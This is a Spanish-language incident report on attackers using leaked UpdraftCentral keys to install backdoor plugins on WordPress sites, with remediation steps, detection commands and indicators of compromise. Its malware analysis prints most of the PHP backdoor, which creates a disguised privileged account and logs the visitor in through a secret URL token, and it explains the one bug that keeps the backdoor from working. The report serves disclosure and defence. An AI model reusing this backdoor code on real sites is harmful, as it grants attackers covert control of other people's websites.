Soluci\u00f3n temporal<\/strong><\/td>\n| eliminar la conexi\u00f3n con UpdraftCentral, revisar la web con nuestro script, cambiar la contrase\u00f1a de teamupdraft.com y, opcionalmente, bloquear las \u00f3rdenes de UpdraftCentral con un peque\u00f1o mu-plugin (ver abajo). No hace falta desinstalar UpdraftPlus; las copias de seguridad siguen funcionando.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n La noche del 19 de octubre de 2026 un atacante desde la direcci\u00f3n IP 43.250.53.42<\/code> envi\u00f3 a trav\u00e9s del servicio UpdraftCentral la orden plugin.upload_plugin<\/code> a tres de nuestras webs con WordPress. UpdraftCentral es un servicio de gesti\u00f3n remota de webs de TeamUpdraft, y su cliente est\u00e1 integrado en cada copia del plugin UpdraftPlus. En dos de nuestras webs la orden se ejecut\u00f3 y WordPress instal\u00f3 y activ\u00f3 un plugin desconocido. En la tercera fall\u00f3 por falta de permisos.<\/p>\nEl fallo no estaba de nuestro lado. Las tres webs ten\u00edan WordPress 7.1.3 y UpdraftPlus 2.26.11 actualizados, este \u00faltimo corregido contra la vulnerabilidad de junio CVE-2026-10795. El atacante no entr\u00f3 en nuestros servidores ni aprovech\u00f3 ning\u00fan error de nuestra configuraci\u00f3n. Lleg\u00f3 por el canal de gesti\u00f3n remota de UpdraftCentral y firm\u00f3 sus \u00f3rdenes con claves privadas v\u00e1lidas del panel. Esas claves las genera y custodia el servicio UpdraftCentral Cloud y nunca han estado en nuestros servidores. Quien las tenga puede instalar y ejecutar cualquier c\u00f3digo en cada web conectada sin que su propietario lo sepa. Por eso lo consideramos un problema de seguridad cr\u00edtico del servicio UpdraftCentral.<\/p>\n Qui\u00e9n est\u00e1 en riesgo:<\/strong> toda web con UpdraftPlus, gratuito o premium, que est\u00e9 conectada a UpdraftCentral, es decir, que tenga una clave de UpdraftCentral. Cada una de las m\u00e1s de 4 millones de instalaciones de UpdraftPlus contiene el cliente de UpdraftCentral. Las webs que no est\u00e1n conectadas a UpdraftCentral no corren riesgo por este ataque, porque sin clave no aceptan \u00f3rdenes de UpdraftCentral. Nuestras webs estaban conectadas a UpdraftCentral Cloud, el panel que opera TeamUpdraft. Seg\u00fan el fabricante, los paneles de UpdraftCentral alojados en servidor propio no est\u00e1n afectados. Tambi\u00e9n se filtraron las claves de UpdraftVault y UpdraftClone, que el fabricante ya ha sustituido.<\/p>\nNo se trata de la vulnerabilidad CVE-2026-10795, sobre la que Wordfence escribi\u00f3 en junio: nuestras webs estaban corregidas y los intentos de explotarla en ellas fallaban.<\/p>\n El plugin es una puerta trasera. Con un enlace secreto deb\u00eda crear una cuenta con permisos de administrador camuflados e iniciar sesi\u00f3n del atacante directamente en ella. Su autor cometi\u00f3 un error en el c\u00f3digo, as\u00ed que la puerta trasera nunca funcion\u00f3. En su lugar hizo fallar cada petici\u00f3n a la web que no se serv\u00eda desde la cach\u00e9, y WordPress nos avis\u00f3 por correo. As\u00ed la encontramos en cuesti\u00f3n de minutos a horas.<\/p>\n Comunicamos el incidente a TeamUpdraft el 19 de octubre y les pedimos que expliquen c\u00f3mo llegaron las claves al atacante.<\/p>\n Si su web est\u00e1 conectada a UpdraftCentral, consid\u00e9rela potencialmente comprometida hasta haberla revisado.<\/strong> Elimine la conexi\u00f3n de inmediato y revise la web como se describe abajo. A 19 de octubre de 2026 no encontramos ninguna menci\u00f3n p\u00fablica de esta puerta trasera ni de un ataque similar posterior a la correcci\u00f3n de junio.<\/p>\nQu\u00e9 hacer ahora mismo<\/h2>\n1. Elimine la conexi\u00f3n con UpdraftCentral<\/h3>\nEn el administrador de WordPress abra Ajustes \u2192 UpdraftPlus Backups \u2192 pesta\u00f1a \u00abAdvanced Tools\u00bb \u2192 \u00abUpdraftCentral\u00bb. Haga clic en \u00abManage existing keys (N)\u2026\u00bb y luego en \u00abDelete\u2026\u00bb junto a cada clave. Si no aparece ninguna clave, la web no est\u00e1 conectada.<\/p>\n Con acceso a la l\u00ednea de comandos, lo mismo se hace con esta orden en el directorio ra\u00edz de WordPress:<\/p>\n wp option delete updraft_central_localkeys<\/code><\/pre>\nDespu\u00e9s elimine tambi\u00e9n la web del panel de UpdraftCentral (teamupdraft.com \u2192 My account \u2192 UpdraftCentral \u2192 \u2022\u2022\u2022 junto a la web \u2192 Remove site). Eliminarla solo del panel no basta. El atacante tiene la clave privada del panel, as\u00ed que lo decisivo es borrar la clave en la web.<\/p>\n Seg\u00fan el fabricante, puede volver a conectar la web despu\u00e9s de borrar la clave, revisarla y cambiar las contrase\u00f1as de los administradores. Antes, cambie la contrase\u00f1a de su cuenta de teamupdraft.com (escriba usted mismo la direcci\u00f3n en el navegador, no siga enlaces de correos), cambie esa misma contrase\u00f1a donde la haya reutilizado y vuelva a configurar la autenticaci\u00f3n en dos pasos. Si instal\u00f3 nuestro mu-plugin de bloqueo, elim\u00ednelo antes de volver a conectar. Quien use UpdraftVault debe volver a conectar sus webs con las nuevas credenciales.<\/p>\n 2. Compruebe si la puerta trasera est\u00e1 en su web<\/h3>\nSin l\u00ednea de comandos:<\/p>\n \n- En la misma pantalla de UpdraftCentral haga clic en \u00abView recent UpdraftCentral log events\u2026\u00bb. Busque las l\u00edneas \u00abCommand received: plugin.upload_plugin\u00bb y \u00abprobe.central.updraftplus.com\u00bb.<\/li>\n
- En la lista de plugins busque uno con la descripci\u00f3n \u00abSmall maintenance toolkit: keeps option storage tidy.\u00bb y un nombre de dos palabras y tres caracteres, por ejemplo \u00abLoad Stack 35C\u00bb.<\/li>\n
- Un plugin con la descripci\u00f3n \u00abImproves cron tasks efficiency for content sites with minimal overhead.\u00bb es la segunda variante. Su cuenta no aparece en la lista de usuarios, as\u00ed que revise la web tambi\u00e9n con el script.<\/li>\n
- En la lista de usuarios busque una cuenta llamada \u00abSite Tools\u00bb o con un correo en
@example.org<\/code>.<\/li>\n<\/ul>\nSi la puerta trasera est\u00e1 en la web, puede que el administrador no funcione, porque el plugin hace fallar cada petici\u00f3n. En ese caso use la l\u00ednea de comandos.<\/p>\n Con l\u00ednea de comandos, guarde nuestro script de comprobaci\u00f3n del final del art\u00edculo como check-updraftcentral.php<\/code> en el directorio ra\u00edz de WordPress y ejecute:<\/p>\nwp eval-file check-updraftcentral.php --skip-plugins --skip-themes<\/code><\/pre>\nEl script solo lee y no cambia nada. La opci\u00f3n --skip-plugins<\/code> es importante, porque una puerta trasera instalada har\u00eda fallar tambi\u00e9n WP-CLI. Las l\u00edneas [ALERT]<\/code> son rastros del ataque, [WARN]<\/code> indica algo que revisar y [OK]<\/code> es un resultado limpio. Que una orden aparezca en el registro no significa todav\u00eda que el plugin se instalara (en una de nuestras webs no se instal\u00f3), por eso el script revisa tambi\u00e9n archivos, opciones de la base de datos y cuentas. Si informa de algo con [ALERT]<\/code>, siga en la secci\u00f3n \u00abQu\u00e9 hacer si la encuentra\u00bb.<\/p>\nUpdraftPlus solo guarda los \u00faltimos 50 eventos en el registro de UpdraftCentral. En una web que visitan a menudo los esc\u00e1neres, el rastro del ataque puede desaparecer del registro y entonces el script da [OK]<\/code> para el registro. Si tiene acceso a los registros del servidor web, rev\u00edselos tambi\u00e9n (ajuste la ruta a su servidor; con nginx, por ejemplo, \/var\/log\/nginx\/<\/code>):<\/p>\ngrep 'class-udrpc.php"' \/var\/log\/apache2\/*access*<\/code><\/pre>\nLa orden encuentra peticiones de UpdraftCentral sin versi\u00f3n de la biblioteca en la cabecera User-Agent, como las que envi\u00f3 el atacante. El panel real env\u00eda class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code>, as\u00ed que la orden no lo detecta.<\/p>\n3. Opcional: bloquee por completo las \u00f3rdenes de UpdraftCentral<\/h3>\nPara estar seguro de que la web no ejecuta ninguna orden de UpdraftCentral aunque quede una clave en ella, guarde en el directorio wp-content\/mu-plugins\/<\/code> un archivo block-updraftcentral.php<\/code> con este contenido:<\/p>\n<?php\n\/\/ Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.\nif ( isset( $_POST['udrpc_message'] ) ) {\n http_response_code( 403 );\n exit;\n}<\/code><\/pre>\nWordPress carga los archivos de mu-plugins<\/code> antes que los plugins normales, as\u00ed que la petici\u00f3n se detiene antes de que UpdraftPlus la procese. Tambi\u00e9n bloquea la migraci\u00f3n de webs con UpdraftPlus Migrator, que usa el mismo canal. Borre el archivo cuando el fabricante haya explicado y resuelto el problema.<\/p>\nC\u00f3mo lo descubrimos<\/h2>\nA las 5:38 recibimos un correo autom\u00e1tico de WordPress: \u00abWordPress caught an error with one of your plugins, Load Stack 35C.\u00bb Nunca hab\u00edamos instalado un plugin con ese nombre. El mensaje de error dec\u00eda Uncaught Error: Undefined constant LoadStack35c::FIELD<\/code>, y desde las 4:14 nuestra web respond\u00eda a cada petici\u00f3n con un error 500.<\/p>\nTodos los archivos de la carpeta wp-content\/plugins\/load-stack-35c\/<\/code> ten\u00edan la misma hora de modificaci\u00f3n, 4:14:30. Un segundo despu\u00e9s cambi\u00f3 la carpeta wp-content\/upgrade\/<\/code>, que WordPress usa para descomprimir los plugins que instala. El plugin lleg\u00f3, por tanto, a trav\u00e9s del instalador est\u00e1ndar de WordPress y no como un archivo copiado al disco. En ese mismo segundo el registro de accesos contiene una \u00fanica petici\u00f3n:<\/p>\n43.250.53.42 - - [19\/Oct\/2026:04:14:30 +0200] "POST \/ HTTP\/1.1" 200 8454 "-" "WordPress\/6.4; class-udrpc.php"<\/code><\/pre>\nclass-udrpc.php<\/code> es la biblioteca con la que UpdraftPlus recibe \u00f3rdenes de UpdraftCentral. Su propio registro (la opci\u00f3n de base de datos updraftcentral_client_log<\/code>) lo confirm\u00f3: Command received: plugin.upload_plugin<\/code>.<\/p>\nCronolog\u00eda<\/h2>\nLlamamos a las webs A, B y C. Todas las horas en CEST. Todas las peticiones llegaron desde 43.250.53.42<\/code> (proveedor RedSwitches) con la cabecera User-Agent WordPress\/6.4; class-udrpc.php<\/code>.<\/p>\n\n\n\n\n| Web C<\/td>\n | 19\/10 0:41:32<\/td>\n | 6:05:31<\/td>\n | fallida, la clave pertenec\u00eda a un usuario sin permiso para instalar plugins<\/td>\n<\/tr>\n | \n| Web A<\/td>\n | 2:14:05<\/td>\n | 4:14:30<\/td>\n | puerta trasera \u00abLoad Stack 35C\u00bb activa, web ca\u00edda hasta las 6:13<\/td>\n<\/tr>\n | \n| Web B<\/td>\n | 2:39:44<\/td>\n | 6:53:49<\/td>\n | puerta trasera \u00abText Gantry Eb0\u00bb activa, eliminada a las 6:56<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n El sondeo es un mensaje dirigido a una clave inexistente, probe.central.updraftplus.com<\/code>. La web responde que no entiende el mensaje y con ello revela que acepta \u00f3rdenes de UpdraftCentral. La siguiente orden el atacante ya la envi\u00f3 a la clave real 0.central.updraftplus.com<\/code>. En las tres webs el ataque transcurri\u00f3 igual, por el mismo atacante, con pocas horas de diferencia.<\/p>\nC\u00f3mo funcion\u00f3 el ataque<\/h2>\nAl conectar una web a UpdraftCentral, la web genera un par de claves RSA y env\u00eda la clave p\u00fablica al servicio UpdraftCentral Cloud. El servicio tiene su propio par de claves y env\u00eda a la web solo su clave p\u00fablica. La clave privada del panel se queda en el servicio. Cada orden debe ir cifrada para la clave de la web y firmada con la clave privada del panel. La web la ejecuta entonces con los permisos del usuario que cre\u00f3 la clave en WordPress.<\/p>\n La orden plugin.upload_plugin<\/code> super\u00f3 toda esta comprobaci\u00f3n en dos webs. Analizamos la web A en detalle y descartamos estas explicaciones:<\/p>\n\n- La vulnerabilidad conocida CVE-2026-10795.<\/strong> Afecta a UpdraftPlus hasta la 1.26.4 (premium hasta la 2.26.4). Nuestras webs ten\u00edan la 2.26.11. Vemos intentos de explotarla en los registros de las webs B y C desde junio, desde decenas de direcciones IP, y todos terminaron con \u00abCould not decrypt incoming message\u00bb.<\/li>\n
- Un plugin modificado.<\/strong> Los archivos
class-udrpc2.php<\/code>, central\/bootstrap.php<\/code>, central\/listener.php<\/code> y central\/host.php<\/code> son id\u00e9nticos byte a byte a la versi\u00f3n oficial 1.26.11 de wordpress.org.<\/li>\n- El formato antiguo de mensajes sin firma.<\/strong> El c\u00f3digo lo rechaza para las claves de UpdraftCentral, y la entrada \u00abCommand received\u00bb solo se escribe despu\u00e9s de esa comprobaci\u00f3n.<\/li>\n
- Una clave del panel sustituida.<\/strong> Las huellas de las claves son las mismas en las copias diarias del 15 al 18 de octubre y en la base de datos en producci\u00f3n, y en los registros de acceso nadie llam\u00f3 a la funci\u00f3n de intercambio de claves.<\/li>\n
- Criptograf\u00eda d\u00e9bil.<\/strong> Tanto la clave de la web como la del panel son RSA de 2048 bits con exponente 65537, y UpdraftPlus incluye phpseclib 2.0.55, que tiene corregido el conocido fallo de verificaci\u00f3n de firmas.<\/li>\n
- Un wp-admin comprometido.<\/strong> No aparecieron administradores desconocidos, las sumas de comprobaci\u00f3n del n\u00facleo y de los plugins coinciden y los registros no muestran ninguna subida de plugin desde el administrador.<\/li>\n<\/ol>\n
El atacante ten\u00eda, por tanto, las claves privadas del panel de las tres conexiones a la vez. Esas claves nunca han estado en nuestros servidores, as\u00ed que no pudieron filtrarse desde ah\u00ed. Las \u00f3rdenes tampoco llegaron desde un servidor de TeamUpdraft. El panel real envi\u00f3 \u00f3rdenes a la web B en marzo y abril de 2026 con esta cabecera User-Agent:<\/p>\n WordPress\/6.8.5; class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code><\/pre>\nEl atacante enviaba WordPress\/6.4; class-udrpc.php<\/code>, sin versi\u00f3n de la biblioteca y sin URL, desde su propio servidor. Las claves se filtraron, por tanto, del entorno de UpdraftCentral Cloud y el atacante las us\u00f3 fuera de \u00e9l.<\/p>\nEl 19 de octubre TeamUpdraft confirm\u00f3 que durante el fin de semana del 17 y 18 de octubre un atacante tuvo acceso a teamupdraft.com y probablemente a la base de datos de clientes, incluidas las claves de UpdraftCentral. Las claves se filtraron, por tanto, de la infraestructura del fabricante. La cronolog\u00eda encaja: las claves de las webs B y C exist\u00edan desde noviembre de 2025 y el atacante no las us\u00f3 hasta la noche del 18 al 19 de octubre, justo despu\u00e9s de la intrusi\u00f3n. El fabricante no ha explicado c\u00f3mo entr\u00f3 el atacante en teamupdraft.com.<\/p>\n En la web C el ataque fall\u00f3 por casualidad. All\u00ed la clave la cre\u00f3 en noviembre de 2025 un usuario que ya no es administrador. Antes de instalar, UpdraftCentral comprueba si el propietario de la clave tiene los permisos install_plugins<\/code> y activate_plugins<\/code>. No ten\u00eda ninguno de los dos.<\/p>\nPor qu\u00e9 es un problema cr\u00edtico de UpdraftCentral<\/h2>\nEl cliente de UpdraftCentral forma parte de cada copia de UpdraftPlus, gratuita y premium. Se activa cuando el propietario conecta la web al panel. A partir de ah\u00ed la web ejecuta cada orden firmada con la clave del panel con los permisos del administrador que cre\u00f3 la conexi\u00f3n, incluida la subida y activaci\u00f3n de cualquier plugin. El propietario de la web no confirma la orden y, en nuestro caso, nada nos avis\u00f3. Las claves del lado de la web no caducan: las de noviembre de 2025 segu\u00edan funcionando en octubre de 2026.<\/p>\n La seguridad de todas las webs conectadas depende as\u00ed de una \u00fanica suposici\u00f3n: que las claves privadas del panel no se filtren. Se filtraron, y el atacante, desde un solo punto y en pocas horas, tom\u00f3 el control de dos webs e intent\u00f3 una tercera. UpdraftPlus tiene m\u00e1s de 4 millones de instalaciones activas. Entre los plugins de copias de seguridad de wordpress.org solo All-in-One WP Migration (m\u00e1s de 5 millones) tiene m\u00e1s instalaciones, y es sobre todo una herramienta de migraci\u00f3n. Solo una parte de los usuarios de UpdraftPlus usa UpdraftCentral, pero incluso una peque\u00f1a parte de 4 millones son muchas webs.<\/p>\n El mismo canal ya fall\u00f3 antes. En junio de 2026 el fabricante corrigi\u00f3 la vulnerabilidad CVE-2026-10795 (CVSS 8.1), con la que un atacante pod\u00eda falsificar \u00f3rdenes de UpdraftCentral sin iniciar sesi\u00f3n e instalar y activar un plugin malicioso. Seguimos registrando intentos de explotarla.<\/p>\n Qu\u00e9 hace exactamente la puerta trasera<\/h2>\nEl plugin tiene cinco archivos, pero solo el principal contiene l\u00f3gica. Esta es la parte relevante de la muestra de la web A. Hemos acortado el token y la contrase\u00f1a:<\/p>\n define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH\u2026' ); \/\/ 32 caracteres\ndefine( 'LOADSTACK35C_FIELD', '_9f5696' );\ndefine( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );\ndefine( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw\u2026' ); \/\/ 22 caracteres\n\nfinal class LoadStack35c {\n private function __construct() {\n add_action( 'init', array( $this, 'handle_sync' ), 1 );\n }\n\n public function handle_sync() {\n if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {\n $user = get_user_by( 'login', self::SVC_LOGIN );\n if ( ! $user ) {\n $uid = wp_insert_user( array(\n 'user_login' => self::SVC_LOGIN,\n 'user_pass' => self::SVC_PASS,\n 'user_email' => self::SVC_LOGIN . '@example.org',\n 'display_name' => 'Site Tools',\n 'role' => 'editor',\n ) );\n if ( is_wp_error( $uid ) ) return;\n $u = new WP_User( $uid );\n $u->add_cap( 'manage_options' );\n $u->add_cap( 'install_plugins' );\n $user = get_user_by( 'id', $uid );\n }\n wp_set_current_user( $user->ID, $user->user_login );\n wp_set_auth_cookie( $user->ID, true, is_ssl() );\n wp_safe_redirect( admin_url( 'index.php' ) );\n exit;\n }\n }\n}\n\nregister_activation_hook( __FILE__, function () {\n if ( ! get_option( 'load_stack_35c_sync_token' ) ) {\n update_option( 'load_stack_35c_sync_token', 'j0j8nxxH\u2026', false );\n }\n} );\n\nLoadStack35c::instance();<\/code><\/pre>\nAs\u00ed funcionar\u00eda si no tuviera un error:<\/p>\n \n- En cada petici\u00f3n a la web se engancha a la acci\u00f3n
init<\/code> con prioridad 1, antes que la mayor\u00eda de los dem\u00e1s plugins.<\/li>\n- Comprueba si la URL contiene el par\u00e1metro
?_9f5696=<\/code> y compara su valor con un token de 32 caracteres. Compara con hash_equals<\/code>, que tarda lo mismo coincidan o no los valores, de modo que el token no se puede adivinar midiendo los tiempos de respuesta. Sin el token correcto no ocurre nada y la web se comporta con normalidad.<\/li>\n- Con el token correcto crea el usuario
data-ops43<\/code> con una contrase\u00f1a fijada en el plugin, el correo data-ops43@example.org<\/code> y el nombre visible \u00abSite Tools\u00bb.<\/li>\n- Le asigna el rol Editor y adem\u00e1s dos capacidades sueltas:
manage_options<\/code> e install_plugins<\/code>.<\/li>\n- Inicia la sesi\u00f3n del visitante como ese usuario mediante
wp_set_auth_cookie<\/code> con \u00abrecordarme\u00bb, es decir, con una cookie v\u00e1lida 14 d\u00edas. As\u00ed se salta por completo el formulario de acceso, por lo que no act\u00faan ni la autenticaci\u00f3n en dos pasos, ni el l\u00edmite de intentos, ni la protecci\u00f3n de acceso de Wordfence.<\/li>\n- Lo redirige al administrador.<\/li>\n<\/ol>\n
El rol Editor con dos capacidades extra es intencionado. En la lista de usuarios la cuenta aparece como Editor, no como Administrador, as\u00ed que en una revisi\u00f3n normal de administradores pasa desapercibida. En la pr\u00e1ctica tiene control total de la web:<\/p>\n \ninstall_plugins<\/code> permite subir cualquier plugin. Sus archivos PHP se pueden ejecutar directamente por URL incluso sin activarlo, lo que equivale a ejecutar cualquier c\u00f3digo en el servidor.<\/li>\nmanage_options<\/code> da acceso a todos los ajustes. Basta con activar el registro y poner administrador como rol por defecto para que el atacante se cree un administrador completo.<\/li>\n- En un WordPress normal un Editor tiene tambi\u00e9n
unfiltered_html<\/code>, as\u00ed que puede insertar en las entradas JavaScript que se ejecuta en el navegador de cada administrador.<\/li>\n<\/ul>\nLa puerta trasera tiene adem\u00e1s una segunda capa. La cuenta creada, con una contrase\u00f1a conocida, sigue en WordPress incluso despu\u00e9s de eliminar el plugin, y el atacante puede entrar con ella por el formulario normal si esa cuenta no tiene activada la autenticaci\u00f3n en dos pasos.<\/p>\n El error que nos salv\u00f3<\/h3>\nLas constantes se definen con define()<\/code> como constantes globales (LOADSTACK35C_FIELD<\/code>), pero el c\u00f3digo las lee como constantes de clase (self::FIELD<\/code>). La clase no tiene constantes. Por eso PHP 8 lanza Error: Undefined constant LoadStack35c::FIELD<\/code> la primera vez que eval\u00faa self::FIELD<\/code>. Ocurre antes de comprobar el token, es decir, en cada petici\u00f3n: visitas normales, administrador, inicio de sesi\u00f3n, API REST, cron y WP-CLI. La web cae con error 500 y solo sirve p\u00e1ginas desde la cach\u00e9.<\/p>\nLa petici\u00f3n de instalaci\u00f3n, en cambio, termin\u00f3 bien. UpdraftCentral procesa las \u00f3rdenes en la acci\u00f3n wp_loaded<\/code>, que llega despu\u00e9s de init<\/code>, as\u00ed que en esa petici\u00f3n el c\u00f3digo defectuoso no se ejecut\u00f3. El atacante recibi\u00f3 una confirmaci\u00f3n de \u00e9xito y no supo nada del error por la respuesta. Solo fallaron las peticiones siguientes.<\/p>\nAl atacante le basta con corregir unos pocos caracteres para que la pr\u00f3xima oleada funcione. Si encuentra un plugin \u00abroto\u00bb parecido, no lo arregle.<\/strong> Arreglarlo activar\u00eda la puerta trasera. Elim\u00ednelo.<\/p>\nM\u00e1s detalles<\/h3>\n\n- El plugin se hace pasar por un complemento corriente: tiene una cabecera completa, licencia GPL,
Text Domain<\/code>, la descripci\u00f3n \u00abSmall maintenance toolkit: keeps option storage tidy.\u00bb y un editor inventado (\u00abPixelBinder\u00bb, \u00abHarbor Stack Labs\u00bb).<\/li>\n- Los archivos
assets\/public.css<\/code>, assets\/public.js<\/code> y languages\/readme.txt<\/code> solo contienen un comentario. El plugin no los usa; est\u00e1n ah\u00ed para que la carpeta parezca un plugin real.<\/li>\n- Al desinstalarlo desde el administrador,
uninstall.php<\/code> borra las opciones <slug>_sync_token<\/code> y <slug>_setup_stamp<\/code>, es decir, sus propios rastros. El c\u00f3digo nunca crea la segunda opci\u00f3n; es un resto de la plantilla.<\/li>\n- Al activarse guarda el token en la opci\u00f3n
<slug>_sync_token<\/code> sin carga autom\u00e1tica. El c\u00f3digo nunca la lee.<\/li>\n- Ambas muestras salen del mismo generador. Si sustituimos nombres, tokens, usuarios y versiones por marcadores, todos los archivos son id\u00e9nticos byte a byte. El nombre sigue el patr\u00f3n
palabra-palabra-3 caracteres hexadecimales<\/code>, el par\u00e1metro es _<\/code> m\u00e1s 6 caracteres hexadecimales y el usuario palabra-palabra<\/code> m\u00e1s dos d\u00edgitos. El token tiene 32 caracteres y la contrase\u00f1a 22 (letras, d\u00edgitos y guion bajo).<\/li>\n<\/ul>\nIndicadores de compromiso<\/h2>\n\n\n\n\n| Carpeta del plugin<\/td>\n | load-stack-35c<\/code><\/td>\ntext-gantry-eb0<\/code><\/td>\n<\/tr>\n\n| Nombre \/ autor \/ versi\u00f3n<\/td>\n | Load Stack 35C \/ PixelBinder \/ 1.2.6<\/td>\n | Text Gantry Eb0 \/ Harbor Stack Labs \/ 3.9.5<\/td>\n<\/tr>\n | \n| Par\u00e1metro de la URL<\/td>\n | _9f5696<\/code><\/td>\n_3e9caa<\/code><\/td>\n<\/tr>\n\n| Usuario<\/td>\n | data-ops43<\/code><\/td>\nmedia-staff96<\/code><\/td>\n<\/tr>\n\n| Opci\u00f3n en la base de datos<\/td>\n | load_stack_35c_sync_token<\/code><\/td>\ntext_gantry_eb0_sync_token<\/code><\/td>\n<\/tr>\n\n| SHA-256 del archivo principal<\/td>\n | 3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f<\/code><\/td>\nbb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801<\/code><\/td>\n<\/tr>\n\nSHA-256 de uninstall.php<\/code><\/td>\n4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0<\/code><\/td>\n4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\nOtras v\u00edctimas nos enviaron m\u00e1s muestras de la primera variante, y Patchstack cita m\u00e1s nombres:<\/p>\n \nhero-frame-2c5<\/code>, autor \u00abCopperForge WP\u00bb, usuario con correo render-build21@example.org<\/code>, SHA-256 del archivo principal a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9<\/code>, uninstall.php<\/code> 325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111<\/code><\/li>\ncard-binder-104<\/code>, versi\u00f3n 2.6.7, usuario render.desk87<\/code><\/li>\n- seg\u00fan Patchstack, por ejemplo \u00abSite Health Cache\u00bb, \u00abAsset Forge 2\u00bb, \u00abContent Helper\u00bb y \u00abWp Forge\u00bb, 99 nombres en total<\/li>\n<\/ul>\n
Rasgos comunes:<\/p>\n \n- direcciones IP
43.250.53.42<\/code> y 2a09:bac5:4e21:2e3c::49b:9<\/code>, User-Agent exactamente WordPress\/6.4; class-udrpc.php<\/code>, petici\u00f3n POST \/<\/code><\/li>\n- en el registro de UpdraftCentral, el sondeo
probe.central.updraftplus.com<\/code> y unas horas despu\u00e9s Command received: plugin.upload_plugin<\/code><\/li>\n- la descripci\u00f3n del plugin \u00abSmall maintenance toolkit: keeps option storage tidy.\u00bb<\/li>\n
- un usuario con correo en
@example.org<\/code> y nombre visible \u00abSite Tools\u00bb, con rol Editor y las capacidades manage_options<\/code> e install_plugins<\/code><\/li>\n- el error fatal
Undefined constant <Clase>::FIELD<\/code> y un correo de WordPress sobre un error en un plugin que no reconoce<\/li>\n<\/ul>\nLa segunda variante: un administrador oculto<\/h2>\nNo hemos analizado esta variante nosotros mismos. La descripci\u00f3n y los indicadores nos los envi\u00f3 un administrador de unas 145 webs, tres de las cuales fueron atacadas. Una recibi\u00f3 la variante descrita arriba y las otras dos un plugin distinto. El an\u00e1lisis de Patchstack todav\u00eda no incluye esta variante.<\/p>\n \n- Nombres: \u00abSrc Lab\u00bb (
src-lab<\/code>, autor \u00abWPBridge\u00bb, versi\u00f3n 3.0.0) y \u00abRender Helper 232b\u00bb (render-helper-232b<\/code>, versi\u00f3n 3.7.9).<\/li>\n- Descripci\u00f3n: \u00abImproves cron tasks efficiency for content sites with minimal overhead.\u00bb Para disimular, el plugin a\u00f1ade de verdad un cron diario que borra transients caducados y un filtro de jQuery para p\u00e1ginas AMP.<\/li>\n
- Disparador: un par\u00e1metro cuyo nombre son 12 caracteres hexadecimales y un token de 32 caracteres, por ejemplo
?303541c9dfd0=\u2026&m=setup<\/code>. El modo m=setup<\/code> crea un administrador<\/strong> (por ejemplo cmseditor170@example.com<\/code> o web_mgr684@example.com<\/code>) y el modo m=svc<\/code> inicia la sesi\u00f3n del visitante en esa cuenta. Sin m<\/code> inicia la sesi\u00f3n del visitante como el primer administrador existente de la web<\/strong>.<\/li>\n- Guarda el ID de la cuenta creada en la opci\u00f3n
<slug>_uid<\/code>, por ejemplo src_lab_uid<\/code>.<\/li>\n- Oculta la cuenta: un hook
pre_user_query<\/code> la quita de la lista de usuarios y un filtro pre_count_users<\/code> resta uno al n\u00famero de administradores. En el administrador no la ver\u00e1.<\/li>\n- No tiene
uninstall.php<\/code>. Al desactivarlo solo borra la opci\u00f3n <slug>_installed<\/code>.<\/li>\n- SHA-256 de
src-lab.php<\/code>: 59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928<\/code><\/li>\n- La entrega es la misma que en la primera variante, un sondeo seguido de
plugin.upload_plugin<\/code>, desde la IP 2a09:bac5:4e21:2e3c::49b:9<\/code> (src-lab 18\/10 23:39 UTC, render-helper-232b 19\/10 0:03 UTC).<\/li>\n<\/ul>\nEl administrador no menciona el mismo error que en la primera variante, as\u00ed que hay que suponer que esta funciona. En sus webs el atacante no la us\u00f3: no apareci\u00f3 la opci\u00f3n _uid<\/code>, ninguna cuenta ni ninguna sesi\u00f3n ajena.<\/p>\n | | | | | | | | | | | | |
|
|